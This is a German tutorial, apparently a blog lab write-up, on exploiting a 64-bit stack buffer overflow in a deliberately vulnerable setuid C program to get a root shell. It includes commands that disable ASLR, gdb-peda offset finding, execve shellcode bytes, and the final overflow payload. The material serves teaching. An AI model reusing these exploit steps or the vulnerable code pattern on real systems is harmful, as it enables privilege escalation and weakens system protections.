Buffer Overflow im 64-Bit Stack

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====== Buffer Overflow im 64-Bit Stack - Teil 1 ======

In diesem Tutorial erzeugen wir einen Buffer Overflow auf dem 64-Bit Stack, um root Rechte zu erlangen.((https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/64-bit-stack-based-buffer-overflow))

Technische Einzelheiten zu Buffer-Overflows, Stack etc. gibt es hier((https://medium.com/@buff3r/basic-buffer-overflow-on-64-bit-architecture-3fb74bab3558))
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===== Abhängigkeiten =====
{{page>vorlagen:attention}}
{{:it-security:blog:bof-64-1.jpg|}}

Was wird benötigt?

  * Kali Linux (oder andere Distri)
  * GDB Debugger
  * gdb-peda
  * gcc Compiler
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==== gdb-peda Exploit Tools ====

gdb-peda erweitert den Debugger GDB um hilfreiche Kommandos, zur Exploit Entwicklung.((https://github.com/longld/peda/blob/master/README))

<code bash>
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
</code>
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==== ASLR deaktivieren ====

ASLR muss deaktiviert werden, damit Speicherbereiche nicht randomisiert werden.

<code bash>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</code>
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==== Programm ====

Quellcode und kompilierte Binaries findet Ihr auch auf meinem [[gh>psycore8/nosoc-bof/tree/main/part-1|github repository]]

<code c>
// code from https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/

#include <stdio.h>
#include <unistd.h>

int vuln() {
    char buf[80];
    int r;
    r = read(0, buf, 400);
    printf("\nRead %d bytes. buf is %s\n", r, buf);
    puts("No shell for you :(");
    return 0;
}

int main(int argc, char *argv[]) {
    printf("Try to exec /bin/sh");
    vuln();
    return 0;
}
</code>
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=== Kompilieren ===

<code bash>
gcc -fno-stack-protector -z execstack bof.c -o bof
</code>
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===== RIP Register =====

Interessant für uns ist das Register ''RIP''. Dieses enthält eine Rücksprungadresse, welche auf einen anderen Bereich im Code zeigt. Durch den Buffer-Overflow überschreiben wir diese Rücksprungadresse. Aber erst müssen wir herausfinden, wie wir dies machen können.

Wir starten unser Programm im Debugger und generieren einen 200 Zeichen langen String:

<code bash>
gdb -q vulnerable
pattern_create 200 in.bin
r < in.bin
</code>

[{{:it-security:bof-dism-2.png?400|Offset Fuzzing}}]
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==== Bytes berechnen ====

Wieviele Bytes müssen übergeben werden, bevor RIP überschrieben wird?

<code bash>
pattern_offset A7AAMAAiA
Found at Offset 104
</code>
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104 Bytes müssen übergeben werden, bis der Puffer überläuft. Wir generieren 104 Zeichen und eine canonical return adress. Hierzu müssen wir unsere Pseudo-Adresse ''0x414141414141'' ins canonical address format konvertieren, indem wir 2 hohe Bytes anhängen:

<code asm>0x0000414141414141</code>
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Das wandeln wir in Shellcode um:

<code asm>\x41\x41\x41\x41\x41\x41\x00\x00</code>
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> In a 64-bit architecture, the entire 2⁶⁴ bytes are not utilized for address space. In a typical 48 bit implementation, canonical address refers to one in the range 0x0000000000000000 to 0x00007FFFFFFFFFFF and 0xFFFF800000000000 to 0xFFFFFFFFFFFFFFFF. Any address outside this range is non-canonical.((https://en.wikipedia.org/wiki/Endianness))
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==== Debuggen ====

Also Debuggen wir nun erneut, mit den herausgefundenen Parametern

<code python>
python2 -c "print('A'*104 + '\x41\x41\x41\x41\x41\x41\x00\x00')" > in.bin
gdb -q bof
r < in.bin
</code>
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[{{:it-security:bof-dism-3.png?400|wir haben RIP mit unserer Pseudo Adresse überschrieben}}]
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===== Exploit =====

Im letzten Schritt erzeugen wir uns ein entsprechendes Exploit, um die root Shell zu erzeugen.
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==== Shellcode platzieren ====

Der Shellcode((http://shell-storm.org/shellcode/files/shellcode-77.html)) wird in einer Umgebungsvariable abgelegt

<code bash>
export PWN=`python2 -c 'print( "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05")'`
</code>
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==== Variable im Stack finden ====
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=== GetEnvVar ===

<code c>
// code by Jon Erickson, page 147 and 148 of Hacking: The Art of Exploitation, 2nd Edition

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
	char *ptr;

	if(argc < 3) {
		printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
		exit(0);
	}
	ptr = getenv(argv[1]); /* get env var location */
	ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
	printf("%s will be at %p\n", argv[1], ptr);
}
</code>
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=== Kompilieren ===

<code bash>
gcc getenvar.c -o getenvar
</code>
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=== Ausführen ===

<code bash>
./getenvar PWN ./bof
</code>

[{{:it-security:bof-dism-4.png?400|Das Offset der Umgebungsvariable im Stack}}]

Die Adresse der Umgebungsvariable ist ''0x7fffffffef9e'', dies entspricht der canonical address ''0x00007fffffffef9e''´. Unser Shellcode entspräche nun:

<code asm>\x9e\xef\xff\xff\xff\x7f\x00\x00</code>
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==== Angriff ====

Zunächst setzen wir root Rechte auf die vulnerable Datei und starten diese((https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/))

<code bash>
sudo chown root bof
sudo chmod 4755 bof
./bof
</code>

Nun können wir den Buffer-Overflow ausführen:

<code bash>
(python2 -c "print('A'*104+'\x9e\xef\xff\xff\xff\x7f\x00\x00')"; cat) | ./bof
</code>

[{{:it-security:bof-dism-5.png?600|root Shell!}}]
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<mermaid>
classDiagram
    note for Buffer "Overwrite Buffer"
    note for RBP "Overwrite RBP"
    note for RIP "place return address"
    Buffer --> RBP
    RBP --> RIP
    RIP --> 0x00007FFFFFFFC19F
    Buffer: AAAAAAAAAAAA
    RBP: BBBBBBBBBBBB
    RIP: 0x00007FFFFFFFC19F
    class 0x00007FFFFFFFC19F{
      Shellcode()
      root-Shell
    }
</mermaid>
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===== Repository =====

^ Projektdateien | {{ :it-security:nosoc-repo-bof64.zip |}} <label type="info" icon="glyphicon glyphicon-compressed">ZIP</label> |
^ Größe | 5,76 KB |
^ Prüfsumme (SHA256) | 191e6f1811018970776e3bf035ff460033a47da62335fe5c9475a460b02a10d3 |

~~DISCUSSION~~